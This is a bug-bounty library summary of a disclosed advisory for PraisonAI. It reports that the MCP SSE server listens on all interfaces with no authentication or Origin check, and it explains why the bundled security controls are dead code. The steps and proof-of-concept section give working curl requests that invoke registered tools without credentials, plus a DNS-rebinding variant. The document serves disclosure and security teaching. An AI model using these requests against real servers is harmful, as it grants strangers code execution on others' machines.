# PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in

PraisonAI's MCP SSE server binds 0.0.0.0 with no auth or Origin validation, letting any network peer invoke registered tools unauthenticated.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: sour-exploit
- Disclosed: 2026-06-18
- CVE: CVE-2026-57123
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x227-pf99-vffg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x227-pf99-vffg
- Tags: area:ai domain:ai domain:network impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:rce

**Target:** MCP SSE transport server (Starlette/uvicorn) in praisonaiagents
**Root cause:** run_sse/launch_tools_mcp_server default host to 0.0.0.0 and build the Starlette app with no middleware or per-route auth/Origin gate; the shipped mcp_security.py controls (is_valid_origin, is_potential_dns_rebinding, validate_auth_header, SecurityConfig) are never called by any transport.
**Steps:**
1. Confirm defaults: `run_sse(host='0.0.0.0')` and `launch_tools_mcp_server(host='0.0.0.0')`; Starlette kwargs only `debug`,`routes` (no `middleware=`).
2. Open SSE stream: `curl -N http://VICTIM:8080/sse` -> returns `event: endpoint` with `/messages/?session_id=<sid>`.
3. Initialize session: `curl -X POST "http://VICTIM:8080/messages/?session_id=<sid>" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"x","version":"1"}}}'`.
4. Invoke tool: POST `tools/call` with `{"name":"<tool>","arguments":{...}}` — no Authorization header required.
5. Browser variant: malicious page DNS-rebinds hostname to 127.0.0.1 and issues the same JSON-RPC calls cross-origin against a developer's local server.
**How found:** Source review of the transport: noticed run_sse defaults host to all interfaces and the Starlette app is constructed without middleware, then grepped the security module's symbols and found is_valid_origin/is_potential_dns_rebinding/validate_auth_header/SecurityConfig referenced only within mcp_security.py and __init__ re-export — dead code. Confirmed via AST checks and live curl against a running server.
**Exploitation:** Any host reaching the port lists and invokes every registered tool with no credentials; with file/shell/code-exec tools registered this yields RCE. A victim visiting a malicious page can drive the same calls against localhost via DNS rebinding since no Origin check exists.
**Escalation:** Blast radius equals registered tool capabilities; file/shell/code-exec tools escalate unauthenticated access to RCE.
**Insight:** When a project ships a security module, grep whether its symbols are actually called from request paths — unwired controls are a common false sense of safety; also check framework constructor kwargs for absent `middleware=` and default bind addresses in server launchers.

## Proof of concept (copied exactly from the original report)

**curl SSE then unauthenticated initialize and tools/call**

```
curl -N http://VICTIM:8080/sse
  #   event: endpoint  / data: /messages/?session_id=<sid>
  curl -X POST "http://VICTIM:8080/messages/?session_id=<sid>" -H 'Content-Type: application/json' \
    -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
         "capabilities":{},"clientInfo":{"name":"x","version":"1"}}}'
  curl -X POST "http://VICTIM:8080/messages/?session_id=<sid>" -H 'Content-Type: application/json' \
    -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"<tool>","arguments":{...}}}'
```

**Starlette app built without middleware or auth**

```
app = Starlette(debug=self._debug, routes=[
          Route(sse_path, endpoint=handle_sse),                          # "/sse"
          Mount(messages_path, app=sse_transport.handle_post_message),   # "/messages/"
      ])
      uvicorn.run(app, host=host, port=port)
```

